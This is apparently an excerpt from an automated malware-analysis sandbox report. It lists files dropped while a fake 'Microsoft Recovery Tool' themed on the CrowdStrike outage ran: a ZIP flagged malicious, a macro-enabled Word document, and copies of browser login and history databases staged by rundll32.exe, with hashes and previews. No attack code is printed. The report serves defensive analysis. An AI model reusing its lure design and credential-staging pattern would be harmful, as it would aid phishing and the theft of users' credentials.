Preview:	PK..........!.Q3.p............[Content_Types].xml ...(.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................N.0.E.H.C.-J\X ......J..0....K......H...R.D.g..3.H....M!`.l.....J.j;...>.b.Fa...B....wz...<`F..K6.._s.r.F`.<X.T....7....U.._t:.\:...<&....A%&:f.9..H.hd..*1y.Lx.k)".........e..k.g.....)....&......A...3..WNN.U..e...<....'4(.....x.....nh.t.....p7..j..s...I@.w6.X..C.Tp...r+..^..F.N...".az...h.[!F.!...g...i"...C..n9.~l...3.....H..V..9.2.,)s..GZD..mo6M..a.!...q$.......O..r-.........PK..........!.........N......

C:\Users\user\AppData\Roaming\Microsoft\Templates\~$Normal.dotm

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	modified
Size (bytes):	162
Entropy (8bit):	3.5367175887726146
Encrypted:	false
SSDEEP:	3:C1ClXLlAYfqIv3GqfUo4qMbEQv3xeljNOfMqE30VK:bleIuqfx4QQsp4fMqtE
MD5:	6DE3D09FD2895F192E5C58BA170191C4
SHA1:	E127F69BD3EEEAB5793CD9D19432780C49B4BA56
SHA-256:	A1F3503479174DBE1D38B6F122C1153ACD599D5CEA2A9C76C4701B14DD8D7CF3
SHA-512:	C22EFF6C4835A9E97AD829362DD8379C2A0497E922E538002703E577CC3A8F276E623DDA48F2B04C229F82E46DFF2AF276572620317817DEB000FEFC154ECF66
Malicious:	false
Preview:	.user...............................................e.n.g.i.n.e.e.r.........Z.@.J..-O.Xz.lM...x.O...{j......Z.@.J..>O...J.PXX.PXX.M...........PXX...Z.0.O..>O.

C:\Users\user\AppData\Roaming\Microsoft\Templates\~WRD0000.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Word 2007+
Category:	dropped
Size (bytes):	19357
Entropy (8bit):	7.468747851366246
Encrypted:	false
SSDEEP:	384:Jrt+BNxt/ZtNNUyf6eR4KUdMdri24FPWA9/aAL:VAxllNDf64K+WL
MD5:	E04716B0C866488A1825444D23939161
SHA1:	245643809CCE5FE466B22D775776D14435C3214D
SHA-256:	0CD28B8CEE9F5E0C87D5C3AFEF625612F6B63A5AAA3EA91B914F0CF7DBAF81BD
SHA-512:	F5B448B6E1E8362C992CAA1FAB6AD5D0ECFAE1CF21B3DB139F838A6E5808EE7E2152271DBF299945E4E2BA87ECC91402C39CCB43BC3764C05AFE260DE5E580F8
Malicious:	false
Preview:	PK..........!.Q3.p............[Content_Types].xml ...(.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................N.0.E.H.C.-J\X ......J..0....K......H...R.D.g..3.H....M!`.l.....J.j;...>.b.Fa...B....wz...<`F..K6.._s.r.F`.<X.T....7....U.._t:.\:...<&....A%&:f.9..H.hd..*1y.Lx.k)".........e..k.g.....)....&......A...3..WNN.U..e...<....'4(.....x.....nh.t.....p7..j..s...I@.w6.X..C.Tp...r+..^..F.N...".az...h.[!F.!...g...i"...C..n9.~l...3.....H..V..9.2.,)s..GZD..mo6M..a.!...q$.......O..r-.........PK..........!.........N......

C:\Users\user\AppData\Roaming\Microsoft\UProof\CUSTOM.DIC

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	22
Entropy (8bit):	2.6424239617719745
Encrypted:	false
SSDEEP:	3:QA6kLlAX:QAU
MD5:	67B76DED2BAAFB19AF81ACCF3E85282C
SHA1:	937AD3A872978BB13F2B81BBE66DC005C267992A
SHA-256:	97D64040E4513A4EA84262C024A1CF30D84D536D2180EA503C1E0580328C6798
SHA-512:	6D2392F8F646FA8F127F0A7124FA8FA13BEF50613C982FD69C1DA47EB9C61D83F2607633F1184EA289C795C7D69F72DF755E02316CFDFC2F00B2B6BFF97BE6C3
Malicious:	false
Preview:	..e.n.g.i.n.e.e.r.....

C:\Users\user\AppData\Roaming\Microsoft\UProof\ExcludeDictionaryEN0409.lex

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Unicode text, UTF-16, little-endian text, with no line terminators
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:Qn:Qn
MD5:	F3B25701FE362EC84616A93A45CE9998
SHA1:	D62636D8CAEC13F04E28442A0A6FA1AFEB024BBB
SHA-256:	B3D510EF04275CA8E698E5B3CBB0ECE3949EF9252F0CDC839E9EE347409A2209
SHA-512:	98C5F56F3DE340690C139E58EB7DAC111979F0D4DFFE9C4B24FF849510F4B6FFA9FD608C0A3DE9AC3C9FD2190F0EFAF715309061490F9755A9BFDF1C54CA0D84
Malicious:	false
Preview:	..

C:\Users\user\Desktop\~$w_Recovery_Tool_to_help_with_CrowdStrike_issue_impacting_Windows.docm

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	162
Entropy (8bit):	4.713001761513302
Encrypted:	false
SSDEEP:	3:C1ClXLlAnbP0GgMxioIS2g9DVyVd61osu8Jl/P:blsQG/pJVyVpsu8DP
MD5:	45FED64C2968B600A329C5B90AAF52A8
SHA1:	809F36F7AFF62C5BC0C4092F7747DCE68DD6DB21
SHA-256:	5D9A1834169FF999D4455B790A3EF27C838719DD933FB7760017098858340DDA
SHA-512:	5DC93DF888ABD484BDB2AF2125B9758F019F8FC1A7C07766737C78B83503B1D3BE06EB5C570745DF69B5D65BAD9897EC8C898272B6E84EB1632B805F9350EBB6
Malicious:	false
Preview:	.user...............................................e.n.g.i.n.e.e.r...uF.%.O...`......KJ.rx....Sl.....N..f.m...6.0..-.W....,?.........V. O.}..j......N..=.j

C:\Users\user\Downloads\7f4ed3e9-8c0a-4989-857e-ae968b50b483.tmp

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Zip archive data, at least v2.0 to extract, compression method=deflate
Category:	dropped
Size (bytes):	15958
Entropy (8bit):	7.9733146688895955
Encrypted:	false
SSDEEP:	384:23wL2AyiV9wwwwcfz7hLE9K+HHxqr9b2jJdl690rtJj:OxBz7hEdHHosjJeGrv
MD5:	C7F49F8D09D6B64308706E2BCE4AC111
SHA1:	2FF16DAC0F3DEF2785F464541DC534B0037BC97F
SHA-256:	839B524AF66BA603950E69BD8059075918DDBB82657E554CC6E6F1D070D775D8
SHA-512:	B3D4DFED05E0C04673221DFDC86A06865E67B80D23ABB72052AE27CD05B0BFA8D077C2A565872245E8639C18E04B525003468A573DAB66D2C9A761471001988F
Malicious:	false
Preview:	PK........4P.X....(..Xi......ADKLicenseAgreement.rtf.}ko.H..~6.....@W.Tj.l.].X.mU..].G....}.......a........\|.R.=.;..........q".t.X..2.....~....V..lz+.l.....p.w....?V.......V..vV.........x.v..W../^.2.{..tqPz.....g6....4..4`....s.....X....`.{...[m}...j.D.W.jpv.......04..g..?...0..r..wV...=.../Ah.......!...~..........vk...e....OS......{..............T..Vl..^..pU.._.U.G..UO..6$.p..8......8Tn..v..._..z...P.:.w.Ug6.......L..=q..S-.#.ULe./M/rC.).V.=..{P}....a...G.w.U.}..~.]....m>rk.c.^.............4..}(.V{.@% ......4.5...A..}.]...w....\|...fv5.]L.r:..@..'_f..w_.l.XL..O..%..^......W...l..L.......H.j.`..B.z.c........}o.c...]...k.....m..d.'6..[......'q..`....v..{..\|q..<..........._..F\|t.zF...=!..r4......O../..q.\.c.....R~._....'...<cp..M._.._..#kDZ........~y...../..a0.....^.<8....&.pv...F....b\|.i....\.GM...]..........b.0G....f.&...E.V.a.0...h.........W...2JPI.w~.7...I}.....W.A.G..f.E.s02E.U......:..{.a.\......).eQ..^K...R..E....... ..C.@r....UO

C:\Users\user\Downloads\MsftRecoveryToolForCSv2.zip (copy)

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Zip archive data, at least v2.0 to extract, compression method=deflate
Category:	dropped
Size (bytes):	25518
Entropy (8bit):	7.981260120775725
Encrypted:	false
SSDEEP:	768:OxBz7hEdHHosjJeGrv2gsHrSe1fLKnHfzz:OxBz7YosjMGOgsJ1jyn
MD5:	9C4B364491E6AF11CC33DF28C33C4216
SHA1:	4A0F078995949E9FC29BCE9437EB902BB32D462B
SHA-256:	30C65E1E9879FE37A4A18DC8B4887C4DFE3BA29E89885D9FE61365869E93CFFD
SHA-512:	AD395F489DF5C4388221734755AB7D7FDA6DB902F3E56A35B29FFC15D3D778298BD6CD24FAF3AB9CC53BDB1099617A72C95F3759DB4393875E14E3EC9A324279
Malicious:	true
Preview:	PK........4P.X....(..Xi......ADKLicenseAgreement.rtf.}ko.H..~6.....@W.Tj.l.].X.mU..].G....}.......a........\|.R.=.;..........q".t.X..2.....~....V..lz+.l.....p.w....?V.......V..vV.........x.v..W../^.2.{..tqPz.....g6....4..4`....s.....X....`.{...[m}...j.D.W.jpv.......04..g..?...0..r..wV...=.../Ah.......!...~..........vk...e....OS......{..............T..Vl..^..pU.._.U.G..UO..6$.p..8......8Tn..v..._..z...P.:.w.Ug6.......L..=q..S-.#.ULe./M/rC.).V.=..{P}....a...G.w.U.}..~.]....m>rk.c.^.............4..}(.V{.@% ......4.5...A..}.]...w....\|...fv5.]L.r:..@..'_f..w_.l.XL..O..%..^......W...l..L.......H.j.`..B.z.c........}o.c...]...k.....m..d.'6..[......'q..`....v..{..\|q..<..........._..F\|t.zF...=!..r4......O../..q.\.c.....R~._....'...<cp..M._.._..#kDZ........~y...../..a0.....^.<8....&.pv...F....b\|.i....\.GM...]..........b.0G....f.&...E.V.a.0...h.........W...2JPI.w~.7...I}.....W.A.G..f.E.s02E.U......:..{.a.\......).eQ..^K...R..E....... ..C.@r....UO

C:\Users\user\Downloads\MsftRecoveryToolForCSv2.zip.crdownload

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Zip archive data, at least v2.0 to extract, compression method=deflate
Category:	dropped
Size (bytes):	25518
Entropy (8bit):	7.981260120775725
Encrypted:	false
SSDEEP:	768:OxBz7hEdHHosjJeGrv2gsHrSe1fLKnHfzz:OxBz7YosjMGOgsJ1jyn
MD5:	9C4B364491E6AF11CC33DF28C33C4216
SHA1:	4A0F078995949E9FC29BCE9437EB902BB32D462B
SHA-256:	30C65E1E9879FE37A4A18DC8B4887C4DFE3BA29E89885D9FE61365869E93CFFD
SHA-512:	AD395F489DF5C4388221734755AB7D7FDA6DB902F3E56A35B29FFC15D3D778298BD6CD24FAF3AB9CC53BDB1099617A72C95F3759DB4393875E14E3EC9A324279
Malicious:	false
Preview:	PK........4P.X....(..Xi......ADKLicenseAgreement.rtf.}ko.H..~6.....@W.Tj.l.].X.mU..].G....}.......a........\|.R.=.;..........q".t.X..2.....~....V..lz+.l.....p.w....?V.......V..vV.........x.v..W../^.2.{..tqPz.....g6....4..4`....s.....X....`.{...[m}...j.D.W.jpv.......04..g..?...0..r..wV...=.../Ah.......!...~..........vk...e....OS......{..............T..Vl..^..pU.._.U.G..UO..6$.p..8......8Tn..v..._..z...P.:.w.Ug6.......L..=q..S-.#.ULe./M/rC.).V.=..{P}....a...G.w.U.}..~.]....m>rk.c.^.............4..}(.V{.@% ......4.5...A..}.]...w....\|...fv5.]L.r:..@..'_f..w_.l.XL..O..%..^......W...l..L.......H.j.`..B.z.c........}o.c...]...k.....m..d.'6..[......'q..`....v..{..\|q..<..........._..F\|t.zF...=!..r4......O../..q.\.c.....R~._....'...<cp..M._.._..#kDZ........~y...../..a0.....^.<8....&.pv...F....b\|.i....\.GM...]..........b.0G....f.&...E.V.a.0...h.........W...2JPI.w~.7...I}.....W.A.G..f.E.s02E.U......:..{.a.\......).eQ..^K...R..E....... ..C.@r....UO

C:\Windows\Temp\Login Data

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\SGlzdG9yeQ==

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 39, cookie 0x20, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	159744
Entropy (8bit):	0.5394293526345721
Encrypted:	false
SSDEEP:	96:AquejzH+bF+UIYysX0IxQzh/tsV0NifLjLqLy0e9S8E:AqtH+bF+UI3iN0RSV0k3qLyj9
MD5:	52701A76A821CDDBC23FB25C3FCA4968
SHA1:	440D4B5A38AF50711C5E6C6BE22D80BC17BF32DE
SHA-256:	D602B4D0B3EB9B51535F6EBA33709DCB881237FA95C5072CB39CECF0E06A0AC4
SHA-512:	2653C8DB9C20207FA7006BC9C63142B7C356FB9DC97F9184D60C75D987DC0848A8159C239E83E2FC9D45C522FEAE8D273CDCD31183DED91B8B587596183FC000
Malicious:	false
Preview:	SQLite format 3......@ .......'........... ......................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\SVBLR0VMTlRRWS5kb2N4

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.695505889681456
Encrypted:	false
SSDEEP:	24:H4n3oQ37aNEo3/q02YbYK7OUQV8AZfGyzIie/8sE4StAYwrHEJyput:lQLaNh/qYnqUQ5ZeyMt1PTYYE7t
MD5:	3E1BF32E65136B415337727A75BB2991
SHA1:	4754D2DD51AEC8E287F0F298F5A81349578DEB56
SHA-256:	448E0EE938A14EF0F54CD6AAA94E2AA58F26558AAEF43BCC1C7F6FE9C603AE3C
SHA-512:	16F40CD1EDF14D55FACB7B9F180AB3C15C32ED4D80F8A9BAC35B1206A90AA9020D775CDA79F373207172538F23A3B52CE68AFFDFC8AC0F201DBF66D161324959
Malicious:	false
Preview:	IPKGELNTQYHQHGSHTPVWARIQFFDQORBEAICRKYCMKCXOXXEZGTFPWNNYGPFMKJKYFMMDIYXFPDOMBUDXITLFWFNVSJRIAXRYMLZEPFASMBUUMHSRRLMZJYFXBEPILYMGACOAQPURIVFPPJQEWFFWRSBDUYBRHRQONMSPELPXDMBXGBYAQIXAGRJFVIEFCVQMEYPHNUGZVQZGMYFQDUEJFFVRANZMOWZSXHATKNDJSCSYQCSVORWZGVNXHCCVTVXUSTTNQGIBVVEASKHFQJLYWHNGMDFBPGBIVVSGARAGVHEQCRHFMQXIJRNMYBNMUXCXQROMUPEUKSZABJKSEWSTNNIHBMZJFZNQVGTZUHBTFTSYYLDOVYEGPGJZRBAGPLIGCKRPXPYOWRHETLSOZVBYHRETVQLIMHTQPKGOCBKUYOLJZDOKGWRFQOSAZZOKLBEDXRWWNPXEVYADKHEARRQKGVCXSZZEJJJAZQDIVIMVVZFXGYSUUWBEYMJHWICDGVMEUXRRQBQJJOLYEAHPQEGMERBBWLEKEZLHILACOGIONOUUOWVNOJDHHKPOYOWHPFROVZLCENWHOIFGMGDYTSFECEZHAPOSJJNPIRBMBSDXOFYGBVMSBNIDOSAVRNDLNDJZMZCAQUSVGNXTEKMYXIWGQEQDOPFTVRTHSKPYBKBCJARGRESALYRKPLCXZIJRPIBTTGGUENCBAZXYIBWQIXAJPVAXKTYVZRUXZCFIDVTNWMPXGAYBSCEPNQXLHQTLBYMVJSMALADRFIWMKSEOZRQYITESWEXICOXXMXZXPWVULPMMHOPDLDXEMEXYRZEUCQJPJZNAZTRVKWMOOGPPMJYUHGJMUBQNLYTHTYZWZDOKLULRNVLQCAZOMDBIJFZZXMRXBQRSDDZHUCKCBRVVXURBLRSUHNXYBTWNVXAXHYOTXEHGOSZEIBZKYKVIKEAYNYYXUMKQOCFGPPNGBWATQESKSZNRGDARGSXCHFMUHWDN

C:\Windows\Temp\SVBLR0VMTlRRWS5wZGY=

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.695505889681456
Encrypted:	false
SSDEEP:	24:H4n3oQ37aNEo3/q02YbYK7OUQV8AZfGyzIie/8sE4StAYwrHEJyput:lQLaNh/qYnqUQ5ZeyMt1PTYYE7t
MD5:	3E1BF32E65136B415337727A75BB2991
SHA1:	4754D2DD51AEC8E287F0F298F5A81349578DEB56
SHA-256:	448E0EE938A14EF0F54CD6AAA94E2AA58F26558AAEF43BCC1C7F6FE9C603AE3C
SHA-512:	16F40CD1EDF14D55FACB7B9F180AB3C15C32ED4D80F8A9BAC35B1206A90AA9020D775CDA79F373207172538F23A3B52CE68AFFDFC8AC0F201DBF66D161324959
Malicious:	false
Preview:	IPKGELNTQYHQHGSHTPVWARIQFFDQORBEAICRKYCMKCXOXXEZGTFPWNNYGPFMKJKYFMMDIYXFPDOMBUDXITLFWFNVSJRIAXRYMLZEPFASMBUUMHSRRLMZJYFXBEPILYMGACOAQPURIVFPPJQEWFFWRSBDUYBRHRQONMSPELPXDMBXGBYAQIXAGRJFVIEFCVQMEYPHNUGZVQZGMYFQDUEJFFVRANZMOWZSXHATKNDJSCSYQCSVORWZGVNXHCCVTVXUSTTNQGIBVVEASKHFQJLYWHNGMDFBPGBIVVSGARAGVHEQCRHFMQXIJRNMYBNMUXCXQROMUPEUKSZABJKSEWSTNNIHBMZJFZNQVGTZUHBTFTSYYLDOVYEGPGJZRBAGPLIGCKRPXPYOWRHETLSOZVBYHRETVQLIMHTQPKGOCBKUYOLJZDOKGWRFQOSAZZOKLBEDXRWWNPXEVYADKHEARRQKGVCXSZZEJJJAZQDIVIMVVZFXGYSUUWBEYMJHWICDGVMEUXRRQBQJJOLYEAHPQEGMERBBWLEKEZLHILACOGIONOUUOWVNOJDHHKPOYOWHPFROVZLCENWHOIFGMGDYTSFECEZHAPOSJJNPIRBMBSDXOFYGBVMSBNIDOSAVRNDLNDJZMZCAQUSVGNXTEKMYXIWGQEQDOPFTVRTHSKPYBKBCJARGRESALYRKPLCXZIJRPIBTTGGUENCBAZXYIBWQIXAJPVAXKTYVZRUXZCFIDVTNWMPXGAYBSCEPNQXLHQTLBYMVJSMALADRFIWMKSEOZRQYITESWEXICOXXMXZXPWVULPMMHOPDLDXEMEXYRZEUCQJPJZNAZTRVKWMOOGPPMJYUHGJMUBQNLYTHTYZWZDOKLULRNVLQCAZOMDBIJFZZXMRXBQRSDDZHUCKCBRVVXURBLRSUHNXYBTWNVXAXHYOTXEHGOSZEIBZKYKVIKEAYNYYXUMKQOCFGPPNGBWATQESKSZNRGDARGSXCHFMUHWDN

C:\Windows\Temp\TVhQWENWUERWTi5kb2N4

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.698669844484375
Encrypted:	false
SSDEEP:	24:7mMbmx9UKbA2JHc6cqYGtPrmwXr33hecYrnpTGwrhq0Lf6iNXQp:JI68rJcqjPSwXzRecYhGKq0LLG
MD5:	4FCF725C73B93BE52C2E1CD48AC3A562
SHA1:	98118BDED7CC2397C19310A914C6CA6B39CC47DE
SHA-256:	3803B68C31F1D6091C8D35F7B737B363C99ABED15B65899869E2A5AFA443D2C4
SHA-512:	8EDB10C8C81284109073EAABDB337F2AF5428AC5A50DE4999B61792D434D099124DF2DB5B2F58E9FC6335EA2E6F474291F8726DEF293A409418CDE6E0D5D7CFC
Malicious:	false
Preview:	MXPXCVPDVNZDMRYXKAXPKZSKXQENMVJGASOKSKKVKMVTFWCKJVQUEHFJLYGAGVTAPSEFWLYDESGESNCQQMFQIJOIYCFNJODSXZOERROXNDWXBZRWZFOKQBPLORLXBDLECIGMCKVUGLWKNMZJBHPGARIQDCSYHCPUKBGABSYSPDCWIMLINBEYVYXKDRVQIRPITEAVGQTKEJGNRGJGNMXLAZZZEOVLCHVHUAHQLECFOLMZPDMGFZOZZRCUGUGQXZRQEEYVPMGAXSRCPXPOCBVPESPOAHTWHHDKCHMXTJCJJDRFYUOIUWGYDNCJXDYQFYCADMQIYTSLSIQVEMFCENTOHNQNWXMKIUOZDFCOFDXWRGCINHQCHYKQMLGTDJSTFEPKLURPPUWEFYLYEFPSNQGBKUZJQDAVMAFGFXHFNGMNUPXAYGABBOYSAPGCMGQZYDGMRINVJWRFASDKOFXOQBOCWTMIFSMCIGFJLECWNXSPKYYMZPZTTKDCIUUBZTJKBGNEDOBUUIKPGSXPUUDSIAYBARDMCGXUVFSTYNWEUHFOSOADWNJSVGVNYVPTFIEGPCWGLEJGVLKBVQHFEPYYRMGWPMKQWLBOAFFRZQRDMFIHCLMXYKGCSNXZKWIKKIILSRZRKNKBMQKPDNBOSZDCMCNAMVOVGTUYRVJHPAMTCIPJHQZLFPQNHPQQTDAETXQMKGTZQPDKQISDDHIQFGGWJPCMAAAGGRYLKNAQHJDFVXQSDDSPCOTQDHQLRMFKVLQAFIBPIEJVVBHAMXWNJDJUFWZAUYOGKLIJAKPXHFCOGJJVGZXSWYIBAKNZMMSVHMHLNHNJCCWYZMEJWSAERLVHQEHUTACSGGGRMLAWNQTJDBBGLANCZUNRXUOYFLZHFFWFLDWPBOZWIRWKAIWLBOQNNKCSLPLMPBIDNPIJQEDKYXMBPUFPZCWHQURUYJBENNRMTLHPICTOSJUUPWITJRCCXDXEHQQYLVPFNZKWXNGEGYNB

C:\Windows\Temp\TkVCRlFRWVdQUy54bHN4

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.692704155467908
Encrypted:	false
SSDEEP:	24:zrCxfe2LWgi+vQ2TVmOkCRMqftTB+IkHJMBxmT+gmPrwxYu:zSLpN5mOhMq1NUHCLm0Mx/
MD5:	D0B81B6D51E4EDDB3769BCE2A5F1538F
SHA1:	08D04E7E91BD584CC92DB2586E3752A6E50FF2A7
SHA-256:	18CE24DD08DD5F5AC0F5CECA3D6551DFDBBD4893A4A9A9A9331E8ADB67061A33
SHA-512:	CB9E881EE3E57B79597C4AD35D24CBF490882CAB222FD687E52B01798E643876D97A51BE67CBB9AC8CD21EAEC8383FF822569E8E523B165607D328FC53E97B80
Malicious:	false
Preview:	NEBFQQYWPSTEXBZIDUTTATZZTFWRABRJBLLCZYJOVRXHUMPDHEGQDWTHPNRIJXJXBUSQEVJKULMLPCAPCSHFUPDJCEAANNYOFDUHLLLHOVFNKNTRVWZEFIUBXRXIMRWXDPWVTFKQMGYNRABMTANRGGSLGEIOAUBQFQTLCZWMEHWOZIIQMRJLAHLXPXNJVCGLENXDTBFKZKJLYBJRCHNDCSDKFOXIBOZTNXJYAJRSBBQPGAKTHVHMQLXYQGBGJEKXNNJBZRONCQRXSXGBODHFEHXLSDNKZKOYGQWTAWCYFZWCAASDECKZAPFZVLHUZNKAOEOFXYACNHCKLJCQBGVLWGGJAXFSREDNBXZVKQXDJSDSXQALVYBQAWFRFADSUOUAJLGHBNXRJZTADMFYSWTEEFNLTNZQFEUIHOMLHDFXIINXAWFLMBVWLQALRTVDAZZJLUPLSSAEVUHCENQHZDZHUFSLZAWTBWUIZXADMDJFNIGCMGZAUDXHJYRRCZLEWREZLOERQDDSEKREDPHBBKIUIEJMDLPLKXBZACMCVBOXPIUSWSAYGLJYPERFESVJDFDUCRRMCERYFAOHUKEWBRHIXVALIOBSUZIVKQJYQBYWWQBTQFSMFCMHHJGZWZAIAVHBXGYJSOQFKNTZPVJPXHVDUHZBGDUQFSTVAISEPGJPRFXXECIDSLUEKKGYCYYRYPCKPELJNUUBXKUPANFFQZXZCHJZGUXECSVNTCLQWVYUIUXXUHBVRWGMIPLLBTOOJWGEFGIBSTEOEUCIBZTYLFTDGDCLFGIIEJZNJQROHSUVDJWKISAIRTACFAGNSREZROONUNTUTBQDAEWKYIKLSDTXHQQYMOCADIFSSOJPAJKIYLOJZORJLSPXKKVUAEDRRGACWHBZIGNBZSFLRWHTOKEKQVLZFXTYGAOTMFRKSVLKIISUBYUBNXKHYRNKANSRGPAEMLRECJWZZUGCQATTLPPBVLBJPOLHBERJWQJMJGFN

C:\Windows\Temp\TkVCRlFRWVdQUy5kb2N4

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.692704155467908
Encrypted:	false
SSDEEP:	24:zrCxfe2LWgi+vQ2TVmOkCRMqftTB+IkHJMBxmT+gmPrwxYu:zSLpN5mOhMq1NUHCLm0Mx/
MD5:	D0B81B6D51E4EDDB3769BCE2A5F1538F
SHA1:	08D04E7E91BD584CC92DB2586E3752A6E50FF2A7
SHA-256:	18CE24DD08DD5F5AC0F5CECA3D6551DFDBBD4893A4A9A9A9331E8ADB67061A33
SHA-512:	CB9E881EE3E57B79597C4AD35D24CBF490882CAB222FD687E52B01798E643876D97A51BE67CBB9AC8CD21EAEC8383FF822569E8E523B165607D328FC53E97B80
Malicious:	false
Preview:	NEBFQQYWPSTEXBZIDUTTATZZTFWRABRJBLLCZYJOVRXHUMPDHEGQDWTHPNRIJXJXBUSQEVJKULMLPCAPCSHFUPDJCEAANNYOFDUHLLLHOVFNKNTRVWZEFIUBXRXIMRWXDPWVTFKQMGYNRABMTANRGGSLGEIOAUBQFQTLCZWMEHWOZIIQMRJLAHLXPXNJVCGLENXDTBFKZKJLYBJRCHNDCSDKFOXIBOZTNXJYAJRSBBQPGAKTHVHMQLXYQGBGJEKXNNJBZRONCQRXSXGBODHFEHXLSDNKZKOYGQWTAWCYFZWCAASDECKZAPFZVLHUZNKAOEOFXYACNHCKLJCQBGVLWGGJAXFSREDNBXZVKQXDJSDSXQALVYBQAWFRFADSUOUAJLGHBNXRJZTADMFYSWTEEFNLTNZQFEUIHOMLHDFXIINXAWFLMBVWLQALRTVDAZZJLUPLSSAEVUHCENQHZDZHUFSLZAWTBWUIZXADMDJFNIGCMGZAUDXHJYRRCZLEWREZLOERQDDSEKREDPHBBKIUIEJMDLPLKXBZACMCVBOXPIUSWSAYGLJYPERFESVJDFDUCRRMCERYFAOHUKEWBRHIXVALIOBSUZIVKQJYQBYWWQBTQFSMFCMHHJGZWZAIAVHBXGYJSOQFKNTZPVJPXHVDUHZBGDUQFSTVAISEPGJPRFXXECIDSLUEKKGYCYYRYPCKPELJNUUBXKUPANFFQZXZCHJZGUXECSVNTCLQWVYUIUXXUHBVRWGMIPLLBTOOJWGEFGIBSTEOEUCIBZTYLFTDGDCLFGIIEJZNJQROHSUVDJWKISAIRTACFAGNSREZROONUNTUTBQDAEWKYIKLSDTXHQQYMOCADIFSSOJPAJKIYLOJZORJLSPXKKVUAEDRRGACWHBZIGNBZSFLRWHTOKEKQVLZFXTYGAOTMFRKSVLKIISUBYUBNXKHYRNKANSRGPAEMLRECJWZZUGCQATTLPPBVLBJPOLHBERJWQJMJGFN

C:\Windows\Temp\U0ZQVVNBRklPTC54bHN4

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.696913287597031
Encrypted:	false
SSDEEP:	24:TEp0dGAR5tKV4V1dnQcncjGi20QoVwGQqh3:20Iw5tKOncjGUwra
MD5:	44ECF9E98785299129B35CBDBCAB909B
SHA1:	4D92AFB00FE614CC8B795F1AF28173DBE76FE7F5
SHA-256:	06E706536CB7D543E6068C98C90721CAD89C23D16D37444F46F9B01C4380DF9E
SHA-512:	1FA347223014BB3AC0106948B07E337B1A98C0BA2D98AC0ADD821D1B3CE9F75681F6383925F5E614F36750C5B9FB92D1C8EEEDC05469FBC6EA3F281D8B52B556
Malicious:	false
